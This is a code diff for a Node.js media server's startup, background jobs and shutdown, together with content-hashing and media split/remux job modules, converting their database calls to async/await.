-app.use('/api/v2/me', me.api);
-app.use('/me', me.pages);
-app.use('/api/v1/:app/views', require('./views/routes'));
-app.use('/api/v1/:app/vods', require('./vod/routes'));
-app.use('/api/v1/:app/clips', require('./vod/clips-routes'));
-app.use('/api/v1/:app/pastes', require('./pastes/routes'));
-app.use('/api/v1/:app/files', require('./files/routes'));
-app.use('/api/v1/:app/thumbnails', require('./thumbnails/routes'));
-app.use('/api/v1/:app/assets', require('./assets/routes'));
-app.use('/api/v1/:app/admin/storage', require('./admin/routes'));
-app.use('/api/v2/:app/objects', require('./objects/routes')); // canonical object API (docs/object-model.md)
-app.use('/api/v2/:app/jobs', require('./jobs/routes')); // media jobs: thumbnails, split/remux, invariant scans
-app.use('/api/v2/:app/namespaces', require('./objects/namespace-routes')); // a tenant's namespaces: policy, quotas, usage
-app.use('/o', require('./objects/routes').publicRouter); // object bytes (public, or signed)
-app.use('/', require('./public/routes')); // /v /c /p /t /f
-app.use(require('./not-found').notFound); // nothing matched: 404 with Media's CSP (Cloudflare's beacon allowed)
-// eslint-disable-next-line no-unused-vars
-app.use((err, req, res, next) => {
- console.error('[HTTP] Unhandled error:', err.message);
- if (!res.headersSent) res.status(err.status || 500).json({ error: err.message || 'Internal error' });
-});
-
-// ── Background jobs ──────────────────────────────────────────
-
-const recorder = require('./vod/recorder');
-const vodStorage = require('./vod/vod-storage');
-const healthJob = require('./vod/health-job');
-const thumbService = require('./thumbnails/thumbnail-service');
-
-const timers = [];
-function every(ms, fn) {
- const t = setInterval(fn, ms);
- if (t.unref) t.unref();
- timers.push(t);
-}
-
-// A restore drill starts none of this: every job below reads or writes stored files, runs ffmpeg,
-// talks to B2/R2 or announces outcomes to Live.
-if (!drill.enabled) {
- vodStorage.checkProviders()
- .then(() => vodStorage.migrateLegacy().catch(() => {}))
- .catch(err => console.warn('[Boot] Provider check failed:', err.message));
- vodStorage.start(); // tiering sweep
- healthJob.start(); // health scan + quarantine cleanup
- require('./vod/clip-jobs').start(); // failed clip re-cuts (auto-retry, hot-fetch)
- require('./objects/verify-job').start(); // scheduled copy verification (bounded batches; never deletes)
- require('./jobs/worker').start(); // media_jobs worker (light + heavy lanes; proposals wait for their owner)
- require('./objects/owner-subject-job').start(); // owner_subject for objects that name only an app-local owner (asks Network)
- // Descriptor watchdog: a leak here once pinned 80 GB of deleted recordings to the disk.
- every(5 * 60 * 1000, () => {
- try {
- const n = fs.readdirSync('/proc/self/fd').length;
- if (n > 1500) console.warn(`[Boot] ${n} open file descriptors — investigate a stream/handle leak (lsof -p ${process.pid} +L1)`);
- } catch { /* not linux */ }
- });
- every(60 * 1000, () => recorder.checkDisk()); // disk guardian
- every(60 * 60 * 1000, () => thumbService.cleanupOldThumbnails()); // stale live thumbs
- // Object model: purge native objects whose soft-delete retention has passed (held ones are kept).
- every(60 * 60 * 1000, () => {
- try { const n = require('./objects/model').purgeExpired(); if (n) console.log(`[Objects] Purged ${n} expired deleted object(s)`); } catch (err) { console.warn('[Objects] purge:', err.message); }
- // Incomplete multipart uploads past MEDIA_MULTIPART_TTL_HOURS: their parts are deleted (the objects stay uploading).
- try { const r = require('./objects/multipart').purgeExpired(); if (r.expired || r.orphan_dirs) console.log(`[Objects] Multipart: ${r.expired} expired session(s), ${r.orphan_dirs} orphan part dir(s) removed`); } catch (err) { console.warn('[Objects] multipart purge:', err.message); }
- // Native objects' popularity (ADR-021): a finished UTC day's viewer hashes and salt are deleted, only its counts stay (30 days).
- try { const r = require('./objects/popularity').rotate(); if (r.hashes || r.salts || r.counts) console.log(`[Popularity] ${r.hashes} viewer hash(es) and ${r.salts} salt(s) of finished days deleted, ${r.counts} old daily count(s) pruned`); } catch (err) { console.warn('[Popularity] rotate:', err.message); }
- // Namespaces: uploads whose quota reservation expired are failed and their bytes freed; then every
- // namespace's usage snapshot is refreshed (v1 files, deletes and purges included).
+ // Per-app media stats (app-key only) — hero/dashboard counters in the owning app.
+ app.get('/api/v1/:app/stats', auth.tenantAuth(), async (req, res) => {
try {
try {
- const ns = require('./objects/namespaces');
- const r = ns.expireReservations();
- if (r.expired || r.dropped) console.log(`[Namespaces] ${r.expired} abandoned upload(s) expired, ${r.dropped} stale reservation(s) dropped`);
- ns.reconcileAll();
- } catch (err) { console.warn('[Namespaces] sweep:', err.message); }
+ res.json(await db.getAppStats(req.appId));
+ } catch (err) {
+ console.error('[Stats] error:', err.message);
+ res.status(500).json({ error: 'Failed to compute stats' });
+ }
});
});
- // Project rows that have no media_object yet (first boot after the upgrade: all of them).
- // C-75 catch-up: every write now makes its object in the same transaction (objects/model.js
- // withObject, WS-G task 1), so this should find nothing. It stays until a release has run with
- // `node scripts/object-drift-report.js` showing zero drift; then it goes, with the finalize
- // follow-up re-projection (vod/finalize.js), in a dated later step.
- setTimeout(() => {
- try {
- const bf = require('./objects/backfill');
- const r = bf.backfill({ onlyMissing: true });
- if (r.totals.created || r.totals.updated || r.errors.length) console.log(`[Objects] Backfill: ${bf.summarize(r)}`);
- } catch (err) { console.warn('[Objects] Backfill failed:', err.message); }
- // The namespaces' usage snapshot, first taken here (then hourly, and after each write).
- try { require('./objects/namespaces').reconcileAll(); } catch (err) { console.warn('[Namespaces] reconcile:', err.message); }
- }, 15 * 1000).unref?.();
- // Recover from an unclean shutdown: rows stuck in is_recording with no live ffmpeg are finalized
- // from whatever hit the disk. With the job worker on, its orphan sweep queues a vod.finalize job
- // for each (retried with backoff; server/jobs/vod-finalize.js); without it, once, here.
- if (!config.jobs.enabled) setTimeout(() => {
+ // Daily series behind a stat (vods, clips, pastes, hours) — "over time" charts in the owning app.
+ app.get('/api/v1/:app/stats/series/:metric', auth.tenantAuth(), async (req, res) => {
try {
try {
- const stuck = db.all('SELECT id FROM vods WHERE is_recording = 1');
- for (const row of stuck) {
- if (recorder.isRecording(row.id)) continue;
- console.log(`[Boot] Finalizing orphaned recording vod ${row.id}`);
- require('./vod/finalize').finalizeVod(row.id).catch(() => {});
- }
+ const series = await db.getAppStatSeries(req.appId, String(req.params.metric), req.query.days);
+ if (!series) return res.status(404).json({ error: 'Unknown metric' });
+ res.json(series);
} catch (err) {
} catch (err) {
- console.warn('[Boot] Orphan finalize sweep failed:', err.message);
+ console.error('[Stats] series error:', err.message);
+ res.status(500).json({ error: 'Failed to compute series' });
}
}
- }, 5000).unref?.();
-}
+ });
-// ── Listen + graceful shutdown ───────────────────────────────
+ if (!drill.enabled) setInterval(async () => { try { const n = await require('./views/service').prune(30); if (n) console.log(`[Views] pruned ${n} stale visit row(s)`); } catch { /* */ } }, 12 * 3600 * 1000);
+ // The object explorer (WS-G task 12): a signed-in person's own objects and usage, and the operator views
+ // (server/me/routes.js). /api/v2/me sits ahead of /api/v2/:app/…, so "me" is never a tenant there.
+ const me = require('./me/routes').createMeRoutes({ auth: userAuthClient });
+ app.use('/api/v2/me', me.api);
+ app.use('/me', me.pages);
+ app.use('/api/v1/:app/views', require('./views/routes'));
+ app.use('/api/v1/:app/vods', require('./vod/routes'));
+ app.use('/api/v1/:app/clips', require('./vod/clips-routes'));
+ app.use('/api/v1/:app/pastes', require('./pastes/routes'));
+ app.use('/api/v1/:app/files', require('./files/routes'));
+ app.use('/api/v1/:app/thumbnails', require('./thumbnails/routes'));
+ app.use('/api/v1/:app/assets', require('./assets/routes'));
+ app.use('/api/v1/:app/admin/storage', require('./admin/routes'));
+ app.use('/api/v2/:app/objects', require('./objects/routes')); // canonical object API (docs/object-model.md)
+ app.use('/api/v2/:app/jobs', require('./jobs/routes')); // media jobs: thumbnails, split/remux, invariant scans
+ app.use('/api/v2/:app/namespaces', require('./objects/namespace-routes')); // a tenant's namespaces: policy, quotas, usage
+ app.use('/o', require('./objects/routes').publicRouter); // object bytes (public, or signed)
+ app.use('/', require('./public/routes')); // /v /c /p /t /f
+ app.use(require('./not-found').notFound); // nothing matched: 404 with Media's CSP (Cloudflare's beacon allowed)
+
+ // eslint-disable-next-line no-unused-vars
+ app.use((err, req, res, next) => {
+ console.error('[HTTP] Unhandled error:', err.message);
+ if (!res.headersSent) res.status(err.status || 500).json({ error: err.message || 'Internal error' });
+ });
-const server = app.listen(config.port, config.host, () => {
- // Subscribe to Network's sign-out-everywhere cutoffs (not on a restore drill; retried a few times).
+ // ── Background jobs ──────────────────────────────────────────
+
+ const recorder = require('./vod/recorder');
+ const vodStorage = require('./vod/vod-storage');
+ const healthJob = require('./vod/health-job');
+ const thumbService = require('./thumbnails/thumbnail-service');
+
+ const timers = [];
+ function every(ms, fn) {
+ const t = setInterval(fn, ms);
+ if (t.unref) t.unref();
+ timers.push(t);
+ }
+
+ // A restore drill starts none of this: every job below reads or writes stored files, runs ffmpeg,
+ // talks to B2/R2 or announces outcomes to Live.
if (!drill.enabled) {
if (!drill.enabled) {
- const subscribe = (n) => require('./revocations').ensureSubscription().catch((e) => {
- console.warn('[Events] token cutoff subscription not ready:', e.message);
- if (n < 5) setTimeout(() => subscribe(n + 1), 60_000 * n).unref();
+ vodStorage.checkProviders()
+ .then(() => vodStorage.migrateLegacy().catch(() => {}))
+ .catch(err => console.warn('[Boot] Provider check failed:', err.message));
+ vodStorage.start(); // tiering sweep
+ healthJob.start().catch((err) => console.warn('[VOD] health job did not start:', err.message)); // health scan + quarantine cleanup
+ require('./vod/clip-jobs').start().catch((err) => console.warn('[Clips] re-cut job did not start:', err.message)); // failed clip re-cuts (auto-retry, hot-fetch)
+ require('./objects/verify-job').start(); // scheduled copy verification (bounded batches; never deletes)
+ require('./jobs/worker').start().catch((err) => console.warn('[Jobs] worker did not start:', err.message)); // media_jobs worker (light + heavy lanes; proposals wait for their owner)
+ require('./objects/owner-subject-job').start(); // owner_subject for objects that name only an app-local owner (asks Network)
+ // Descriptor watchdog: a leak here once pinned 80 GB of deleted recordings to the disk.
+ every(5 * 60 * 1000, () => {
+ try {
+ const n = fs.readdirSync('/proc/self/fd').length;
+ if (n > 1500) console.warn(`[Boot] ${n} open file descriptors — investigate a stream/handle leak (lsof -p ${process.pid} +L1)`);
+ } catch { /* not linux */ }
});
});
- subscribe(1);
+ every(60 * 1000, () => recorder.checkDisk()); // disk guardian
+ every(60 * 60 * 1000, () => thumbService.cleanupOldThumbnails()); // stale live thumbs
+ // Object model: purge native objects whose soft-delete retention has passed (held ones are kept).
+ every(60 * 60 * 1000, async () => {
+ try { const n = await require('./objects/model').purgeExpired(); if (n) console.log(`[Objects] Purged ${n} expired deleted object(s)`); } catch (err) { console.warn('[Objects] purge:', err.message); }
+ // Incomplete multipart uploads past MEDIA_MULTIPART_TTL_HOURS: their parts are deleted (the objects stay uploading).
+ try { const r = await require('./objects/multipart').purgeExpired(); if (r.expired || r.orphan_dirs) console.log(`[Objects] Multipart: ${r.expired} expired session(s), ${r.orphan_dirs} orphan part dir(s) removed`); } catch (err) { console.warn('[Objects] multipart purge:', err.message); }
+ // Native objects' popularity (ADR-021): a finished UTC day's viewer hashes and salt are deleted, only its counts stay (30 days).
+ try { const r = await require('./objects/popularity').rotate(); if (r.hashes || r.salts || r.counts) console.log(`[Popularity] ${r.hashes} viewer hash(es) and ${r.salts} salt(s) of finished days deleted, ${r.counts} old daily count(s) pruned`); } catch (err) { console.warn('[Popularity] rotate:', err.message); }
+ // Namespaces: uploads whose quota reservation expired are failed and their bytes freed; then every
+ // namespace's usage snapshot is refreshed (v1 files, deletes and purges included).
+ try {
+ const ns = require('./objects/namespaces');
+ const r = await ns.expireReservations();
+ if (r.expired || r.dropped) console.log(`[Namespaces] ${r.expired} abandoned upload(s) expired, ${r.dropped} stale reservation(s) dropped`);
+ await ns.reconcileAll();
+ } catch (err) { console.warn('[Namespaces] sweep:', err.message); }
+ });
+ // Project rows that have no media_object yet (first boot after the upgrade: all of them).
+ // C-75 catch-up: every write now makes its object in the same transaction (objects/model.js
+ // withObject, WS-G task 1), so this should find nothing. It stays until a release has run with
+ // `node scripts/object-drift-report.js` showing zero drift; then it goes, with the finalize
+ // follow-up re-projection (vod/finalize.js), in a dated later step.
+ setTimeout(async () => {
+ try {
+ const bf = require('./objects/backfill');
+ const r = await bf.backfill({ onlyMissing: true });
+ if (r.totals.created || r.totals.updated || r.errors.length) console.log(`[Objects] Backfill: ${bf.summarize(r)}`);
+ } catch (err) { console.warn('[Objects] Backfill failed:', err.message); }
+ // The namespaces' usage snapshot, first taken here (then hourly, and after each write).
+ try { await require('./objects/namespaces').reconcileAll(); } catch (err) { console.warn('[Namespaces] reconcile:', err.message); }
+ }, 15 * 1000).unref?.();
+
+ // Recover from an unclean shutdown: rows stuck in is_recording with no live ffmpeg are finalized
+ // from whatever hit the disk. With the job worker on, its orphan sweep queues a vod.finalize job
+ // for each (retried with backoff; server/jobs/vod-finalize.js); without it, once, here.
+ if (!config.jobs.enabled) setTimeout(async () => {
+ try {
+ const stuck = await db.all('SELECT id FROM vods WHERE is_recording = 1');
+ for (const row of stuck) {
+ if (recorder.isRecording(row.id)) continue;
+ console.log(`[Boot] Finalizing orphaned recording vod ${row.id}`);
+ require('./vod/finalize').finalizeVod(row.id).catch(() => {});
+ }
+ } catch (err) {
+ console.warn('[Boot] Orphan finalize sweep failed:', err.message);
+ }
+ }, 5000).unref?.();
}
}
- if (drill.enabled) { console.log(`[Drill] Ready: http://${config.host}:${config.port} (reads only)`); return; }
- console.log(`[Media] OpenVibe.Media listening on ${config.host}:${config.port} (${config.nodeEnv})`);
- console.log(`[Media] Data: db=${config.db.path} vods=${config.vod.path} clips=${config.vod.clipsPath}`);
- console.log(`[Media] RTP ingest pool: udp ${config.rtp.portMin}-${config.rtp.portMax} (127.0.0.1)`);
- // Durable events (roadmap Wave 3): webhook outcomes also go to OpenVibe.Events. Off without EVENTS_URL.
- try { require('./events').init(); } catch (err) { console.warn('[Events] not started:', err.message); }
- // Media's own watch pages in OpenVibe.Search (WS-O task 10): media.index_document.* through the same outbox.
- try { require('./public/search-documents').start(); } catch (err) { console.warn('[Search] documents not started:', err.message); }
-});
-// A drill whose port is taken stops instead of running unready.
-if (drill.enabled) server.once('error', (err) => { console.error(`[Drill] HTTP server: ${err.message}`); process.exit(1); });
+ // ── Listen + graceful shutdown ───────────────────────────────
-let shuttingDown = false;
-function shutdown(signal) {
- if (shuttingDown) return;
- shuttingDown = true;
- console.log(`[Media] ${signal} received — shutting down`);
- try { recorder.stopAll(); } catch { /* */ }
- try { vodStorage.stop(); } catch { /* */ }
- try { healthJob.stop(); } catch { /* */ }
- try { require('./objects/verify-job').stop(); } catch { /* */ }
- try { require('./jobs/worker').stop(); } catch { /* */ }
- try { require('./objects/owner-subject-job').stop(); } catch { /* */ }
- try { auth.stopJwksRefresh(); } catch { /* */ }
- try { require('./events')._reset(); } catch { /* */ }
- for (const t of timers) clearInterval(t);
- server.close(() => {
- try { db.close(); } catch { /* */ }
- process.exit(0);
+ const server = app.listen(config.port, config.host, () => {
+ // Subscribe to Network's sign-out-everywhere cutoffs (not on a restore drill; retried a few times).
+ if (!drill.enabled) {
+ const subscribe = (n) => require('./revocations').ensureSubscription().catch((e) => {
+ console.warn('[Events] token cutoff subscription not ready:', e.message);
+ if (n < 5) setTimeout(() => subscribe(n + 1), 60_000 * n).unref();
+ });
+ subscribe(1);
+ }
+ if (drill.enabled) { console.log(`[Drill] Ready: http://${config.host}:${config.port} (reads only)`); return; }
+ console.log(`[Media] OpenVibe.Media listening on ${config.host}:${config.port} (${config.nodeEnv})`);
+ console.log(`[Media] Data: db=${config.db.path} vods=${config.vod.path} clips=${config.vod.clipsPath}`);
+ console.log(`[Media] RTP ingest pool: udp ${config.rtp.portMin}-${config.rtp.portMax} (127.0.0.1)`);
+ // Durable events (roadmap Wave 3): webhook outcomes also go to OpenVibe.Events. Off without EVENTS_URL.
+ try { require('./events').init(); } catch (err) { console.warn('[Events] not started:', err.message); }
+ // Media's own watch pages in OpenVibe.Search (WS-O task 10): media.index_document.* through the same outbox.
+ require('./public/search-documents').start().catch((err) => console.warn('[Search] documents not started:', err.message));
});
});
- // Recordings get STOP_GRACE_MS to flush trailers; don't hang forever.
- setTimeout(() => {
- console.warn('[Media] Forced exit after shutdown grace');
- try { db.close(); } catch { /* */ }
- process.exit(0);
- }, 70_000).unref();
-}
-process.on('SIGINT', () => shutdown('SIGINT'));
-process.on('SIGTERM', () => shutdown('SIGTERM'));
-module.exports = { app, server };
+ // A drill whose port is taken stops instead of running unready.
+ if (drill.enabled) server.once('error', (err) => { console.error(`[Drill] HTTP server: ${err.message}`); process.exit(1); });
+
+ let shuttingDown = false;
+ function shutdown(signal) {
+ if (shuttingDown) return;
+ shuttingDown = true;
+ console.log(`[Media] ${signal} received — shutting down`);
+ try { recorder.stopAll(); } catch { /* */ }
+ try { vodStorage.stop(); } catch { /* */ }
+ try { healthJob.stop(); } catch { /* */ }
+ try { require('./objects/verify-job').stop(); } catch { /* */ }
+ try { require('./jobs/worker').stop(); } catch { /* */ }
+ try { require('./objects/owner-subject-job').stop(); } catch { /* */ }
+ try { auth.stopJwksRefresh(); } catch { /* */ }
+ try { require('./events')._reset(); } catch { /* */ }
+ try { const v = require('./actor-limits').valkey(); if (v) v.close().catch(() => {}); } catch { /* */ }
+ for (const t of timers) clearInterval(t);
+ server.close(() => {
+ db.close().catch(() => {}).finally(() => process.exit(0));
+ });
+ // Recordings get STOP_GRACE_MS to flush trailers; don't hang forever.
+ setTimeout(() => {
+ console.warn('[Media] Forced exit after shutdown grace');
+ db.close().catch(() => {}).finally(() => process.exit(0));
+ }, 70_000).unref();
+ }
+ process.on('SIGINT', () => shutdown('SIGINT'));
+ process.on('SIGTERM', () => shutdown('SIGTERM'));
+ return { app, server };
+})();
+ready.catch((err) => {
+ console.error('[Media] failed to start:', err);
+ process.exit(1);
+});
+
+module.exports = { ready };
@@ -55,8 +55,8 @@ const CANDIDATES = `SELECT o.id, o.size_bytes, l.id AS loc_id, l.key AS loc_key
@@ -55,8 +55,8 @@ const CANDIDATES = `SELECT o.id, o.size_bytes, l.id AS loc_id, l.key AS loc_key
FROM media_objects o JOIN media_locations l ON l.object_id = o.id AND l.provider = 'local' AND l.state = 'present'
FROM media_objects o JOIN media_locations l ON l.object_id = o.id AND l.provider = 'local' AND l.state = 'present'
WHERE o.lifecycle_status = 'ready' AND o.content_hash IS NULL`;
WHERE o.lifecycle_status = 'ready' AND o.content_hash IS NULL`;
-function remaining(appId) {
- return db.get(`SELECT COUNT(*) AS n FROM (${CANDIDATES} AND o.app_id = ?)`, [appId]).n;
+async function remaining(appId) {
+ return (await db.get(`SELECT COUNT(*) AS n FROM (${CANDIDATES} AND o.app_id = ?)`, [appId])).n;
}
}
function validate({ obj, params }) {
function validate({ obj, params }) {
@@ -74,20 +74,20 @@ function validate({ obj, params }) {
@@ -74,20 +74,20 @@ function validate({ obj, params }) {
}
}
/** Record one hash, only if nothing changed since the file was read. Returns true when written. */
/** Record one hash, only if nothing changed since the file was read. Returns true when written. */
-function record(c, hash, st) {
+async function record(c, hash, st) {
let wrote = false;
let wrote = false;
- db.getDb().transaction(() => {
- const o = db.get('SELECT content_hash, metadata, lifecycle_status FROM media_objects WHERE id = ?', [c.id]);
- const l = db.get('SELECT key, state FROM media_locations WHERE id = ?', [c.loc_id]);
+ await db.getDb().tx(async () => {
+ const o = await db.get('SELECT content_hash, metadata, lifecycle_status FROM media_objects WHERE id = ?', [c.id]);
+ const l = await db.get('SELECT key, state FROM media_locations WHERE id = ?', [c.loc_id]);
if (!o || o.content_hash || o.lifecycle_status !== 'ready' || !l || l.key !== c.loc_key || l.state !== 'present') return;
if (!o || o.content_hash || o.lifecycle_status !== 'ready' || !l || l.key !== c.loc_key || l.state !== 'present') return;
let md = {};
let md = {};
try { md = JSON.parse(o.metadata || '{}') || {}; } catch { md = {}; }
try { md = JSON.parse(o.metadata || '{}') || {}; } catch { md = {}; }
md.hash_basis = { key: c.loc_key, size: st.size, at: new Date().toISOString() };
md.hash_basis = { key: c.loc_key, size: st.size, at: new Date().toISOString() };
- db.run('UPDATE media_objects SET content_hash = ?, metadata = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ? AND content_hash IS NULL', [hash, JSON.stringify(md), c.id]);
- db.run(`UPDATE media_locations SET checksum = ?, size_bytes = ?, verified_at = CURRENT_TIMESTAMP, updated_at = CURRENT_TIMESTAMP
+ await db.run('UPDATE media_objects SET content_hash = ?, metadata = ?, updated_at = ov_now() WHERE id = ? AND content_hash IS NULL', [hash, JSON.stringify(md), c.id]);
+ await db.run(`UPDATE media_locations SET checksum = ?, size_bytes = ?, verified_at = ov_now(), updated_at = ov_now()
WHERE id = ? AND key = ?`, [hash, st.size, c.loc_id, c.loc_key]);
WHERE id = ? AND key = ?`, [hash, st.size, c.loc_id, c.loc_key]);
wrote = true;
wrote = true;
- })();
+ });
return wrote;
return wrote;
}
}
@@ -96,8 +96,8 @@ async function hashBatch({ appId, objectId = null, limit = 50, budgetMb = settin
@@ -96,8 +96,8 @@ async function hashBatch({ appId, objectId = null, limit = 50, budgetMb = settin
const s = settings();
const s = settings();
const budget = budgetMb * MB;
const budget = budgetMb * MB;
const rows = objectId
const rows = objectId
- ? db.all(`${CANDIDATES} AND o.id = ? AND o.app_id = ?`, [objectId, appId])
- : db.all(`${CANDIDATES} AND o.app_id = ? ORDER BY o.id LIMIT ?`, [appId, limit]);
+ ? await db.all(`${CANDIDATES} AND o.id = ? AND o.app_id = ?`, [objectId, appId])
+ : await db.all(`${CANDIDATES} AND o.app_id = ? ORDER BY o.id LIMIT ?`, [appId, limit]);
const out = { hashed: 0, bytes: 0, skipped: {}, remaining: 0 };
const out = { hashed: 0, bytes: 0, skipped: {}, remaining: 0 };
const skip = (why) => { out.skipped[why] = (out.skipped[why] || 0) + 1; };
const skip = (why) => { out.skipped[why] = (out.skipped[why] || 0) + 1; };
for (const c of rows) {
for (const c of rows) {
@@ -115,26 +115,26 @@ async function hashBatch({ appId, objectId = null, limit = 50, budgetMb = settin
@@ -115,26 +115,26 @@ async function hashBatch({ appId, objectId = null, limit = 50, budgetMb = settin
try { after = fs.statSync(c.loc_key); } catch { skip('file_missing'); continue; }
try { after = fs.statSync(c.loc_key); } catch { skip('file_missing'); continue; }
if (after.size !== st.size || after.mtimeMs !== st.mtimeMs) { skip('changed_while_reading'); continue; }
if (after.size !== st.size || after.mtimeMs !== st.mtimeMs) { skip('changed_while_reading'); continue; }
out.bytes += st.size;
out.bytes += st.size;
- if (record(c, hash, st)) out.hashed++; else skip('changed_in_database');
+ if (await record(c, hash, st)) out.hashed++; else skip('changed_in_database');
}
}
- out.remaining = remaining(appId);
+ out.remaining = await remaining(appId);
return out;
return out;
}
}
async function run(job, ctx = {}) {
async function run(job, ctx = {}) {
const p = validate({ obj: null, params: job.params });
const p = validate({ obj: null, params: job.params });
- return hashBatch({ appId: job.app_id, objectId: job.object_id || null, limit: p.limit, budgetMb: p.budget_mb || settings().budgetMb, signal: ctx.signal });
+ return await hashBatch({ appId: job.app_id, objectId: job.object_id || null, limit: p.limit, budgetMb: p.budget_mb || settings().budgetMb, signal: ctx.signal });
}
}
/** Queue one batch per tenant that has unhashed local copies, every MEDIA_HASH_INTERVAL_MIN. */
/** Queue one batch per tenant that has unhashed local copies, every MEDIA_HASH_INTERVAL_MIN. */
-function schedule(nowMs = Date.now()) {
+async function schedule(nowMs = Date.now()) {
const minutes = settings().intervalMin;
const minutes = settings().intervalMin;
if (!(minutes > 0)) return 0;
if (!(minutes > 0)) return 0;
const period = Math.floor(nowMs / (minutes * 60 * 1000));
const period = Math.floor(nowMs / (minutes * 60 * 1000));
let n = 0;
let n = 0;
- for (const { app_id: appId } of db.all(`SELECT DISTINCT o.app_id FROM (${CANDIDATES}) c JOIN media_objects o ON o.id = c.id`)) {
+ for (const { app_id: appId } of await db.all(`SELECT DISTINCT o.app_id FROM (${CANDIDATES}) c JOIN media_objects o ON o.id = c.id`)) {
try {
try {
- const r = queue.enqueue({ appId, type: TYPE, params: { limit: 50 }, idempotencyKey: `${TYPE}:${minutes}m:${period}`, createdBy: 'system:schedule' });
+ const r = await queue.enqueue({ appId, type: TYPE, params: { limit: 50 }, idempotencyKey: `${TYPE}:${minutes}m:${period}`, createdBy: 'system:schedule' });
if (r.created) n++;
if (r.created) n++;
} catch (err) { console.warn(`[Jobs] could not schedule ${TYPE} for ${appId}: ${err.message}`); }
} catch (err) { console.warn(`[Jobs] could not schedule ${TYPE} for ${appId}: ${err.message}`); }
}
}
@@ -66,7 +66,7 @@ async function resolveSource(obj) {
@@ -66,7 +66,7 @@ async function resolveSource(obj) {
const vodStorage = require('../vod/vod-storage');
const vodStorage = require('../vod/vod-storage');
const ref = model.parseLegacyRef(obj.legacy_ref);
const ref = model.parseLegacyRef(obj.legacy_ref);
if (ref && (ref.kind === 'vod' || ref.kind === 'clip')) {
if (ref && (ref.kind === 'vod' || ref.kind === 'clip')) {
- const row = db.get(`SELECT * FROM ${ref.kind === 'vod' ? 'vods' : 'clips'} WHERE id = ?`, [Number(ref.id)]);
+ const row = await db.get(`SELECT * FROM ${ref.kind === 'vod' ? 'vods' : 'clips'} WHERE id = ?`, [Number(ref.id)]);
if (!row || !row.file_path) return null;
if (!row || !row.file_path) return null;
const local = ref.kind === 'vod'
const local = ref.kind === 'vod'
? existing(vodStorage.localPathForVod(row)) || existing(row.file_path)
? existing(vodStorage.localPathForVod(row)) || existing(row.file_path)
@@ -75,7 +75,7 @@ async function resolveSource(obj) {
@@ -75,7 +75,7 @@ async function resolveSource(obj) {
const src = await vodStorage.resolveMediaSource(row);
const src = await vodStorage.resolveMediaSource(row);
return src ? { input: src.value, name: row.file_path, remote: src.kind === 'url' } : null;
return src ? { input: src.value, name: row.file_path, remote: src.kind === 'url' } : null;
}
}
- const locs = model.listLocations(obj.id);
+ const locs = await model.listLocations(obj.id);
const local = locs.find(l => l.provider === 'local' && l.state !== 'missing' && existing(l.key));
const local = locs.find(l => l.provider === 'local' && l.state !== 'missing' && existing(l.key));
if (local) return { input: local.key, name: obj.canonical_key || local.key };
if (local) return { input: local.key, name: obj.canonical_key || local.key };
for (const p of ['r2', 'b2']) {
for (const p of ['r2', 'b2']) {
@@ -132,23 +132,23 @@ function probeDuration(p) {
@@ -132,23 +132,23 @@ function probeDuration(p) {
return require('../vod/media-tools').probeVodInfo(p).then(i => i.duration || 0).catch(() => 0);
return require('../vod/media-tools').probeVodInfo(p).then(i => i.duration || 0).catch(() => 0);
}
}
-function loadSource(job) {
- const obj = model.getObject(job.object_id);
+async function loadSource(job) {
+ const obj = await model.getObject(job.object_id);
if (!obj || obj.app_id !== job.app_id) throw new JobError('not_found', 'The source object no longer exists', { permanent: true });
if (!obj || obj.app_id !== job.app_id) throw new JobError('not_found', 'The source object no longer exists', { permanent: true });
if (obj.lifecycle_status !== 'ready') throw new JobError('not_ready', `The source object is ${obj.lifecycle_status}`, { permanent: true });
if (obj.lifecycle_status !== 'ready') throw new JobError('not_ready', `The source object is ${obj.lifecycle_status}`, { permanent: true });
if (!isMediaObject(obj)) throw new JobError('media.job.invalid', 'Only vod/clip objects (or video/audio objects) can be split or remuxed', { permanent: true });
if (!isMediaObject(obj)) throw new JobError('media.job.invalid', 'Only vod/clip objects (or video/audio objects) can be split or remuxed', { permanent: true });
return obj;
return obj;
}
}
-function checkRoom(obj, needBytes) {
+async function checkRoom(obj, needBytes) {
const reserve = config.objects.uploadMinFreeMb * MB;
const reserve = config.objects.uploadMinFreeMb * MB;
const free = freeBytes(config.objects.path);
const free = freeBytes(config.objects.path);
if (free < needBytes + reserve) {
if (free < needBytes + reserve) {
throw new JobError('insufficient_disk', `Not enough free disk: need ${Math.ceil((needBytes + reserve) / MB)} MB, ${Math.floor(free / MB)} MB free`, { retryAfterS: 1800 });
throw new JobError('insufficient_disk', `Not enough free disk: need ${Math.ceil((needBytes + reserve) / MB)} MB, ${Math.floor(free / MB)} MB free`, { retryAfterS: 1800 });
}
}
// Outputs go to the source's namespace: every quota from there up to the tenant must have the room.
// Outputs go to the source's namespace: every quota from there up to the tenant must have the room.
- const app = db.getApp(obj.app_id);
- const q = app ? require('../objects/namespaces').checkQuota(app, obj.namespace || db.rootNamespace(app), { bytes: needBytes, objects: 1 }) : null;
+ const app = await db.getApp(obj.app_id);
+ const q = app ? await require('../objects/namespaces').checkQuota(app, obj.namespace || db.rootNamespace(app), { bytes: needBytes, objects: 1 }) : null;
if (q) throw new JobError('quota_exceeded', `The storage quota would be exceeded (${q.detail})`, { permanent: true });
if (q) throw new JobError('quota_exceeded', `The storage quota would be exceeded (${q.detail})`, { permanent: true });
}
}
@@ -177,16 +177,16 @@ async function adopt({ src, file, ext, job, relation, metadata, variant, saveChe
@@ -177,16 +177,16 @@ async function adopt({ src, file, ext, job, relation, metadata, variant, saveChe
fs.mkdirSync(path.dirname(dest), { recursive: true });
fs.mkdirSync(path.dirname(dest), { recursive: true });
fs.renameSync(file, dest);
fs.renameSync(file, dest);
try {
try {
- saveCheckpoint(checkpointFor(id, size), () => {
- db.run(`INSERT INTO media_objects (id, app_id, namespace, kind, owner_subject, owner_app, owner_user_id, visibility, lifecycle_status,
+ await saveCheckpoint(checkpointFor(id, size), async () => {
+ await db.run(`INSERT INTO media_objects (id, app_id, namespace, kind, owner_subject, owner_app, owner_user_id, visibility, lifecycle_status,
mime_type, size_bytes, content_hash, canonical_provider, canonical_key, legacy_ref, metadata)
mime_type, size_bytes, content_hash, canonical_provider, canonical_key, legacy_ref, metadata)
VALUES (?, ?, ?, ?, ?, ?, ?, 'private', 'ready', ?, ?, ?, 'local', ?, NULL, ?)`,
VALUES (?, ?, ?, ?, ?, ?, ?, 'private', 'ready', ?, ?, ?, 'local', ?, NULL, ?)`,
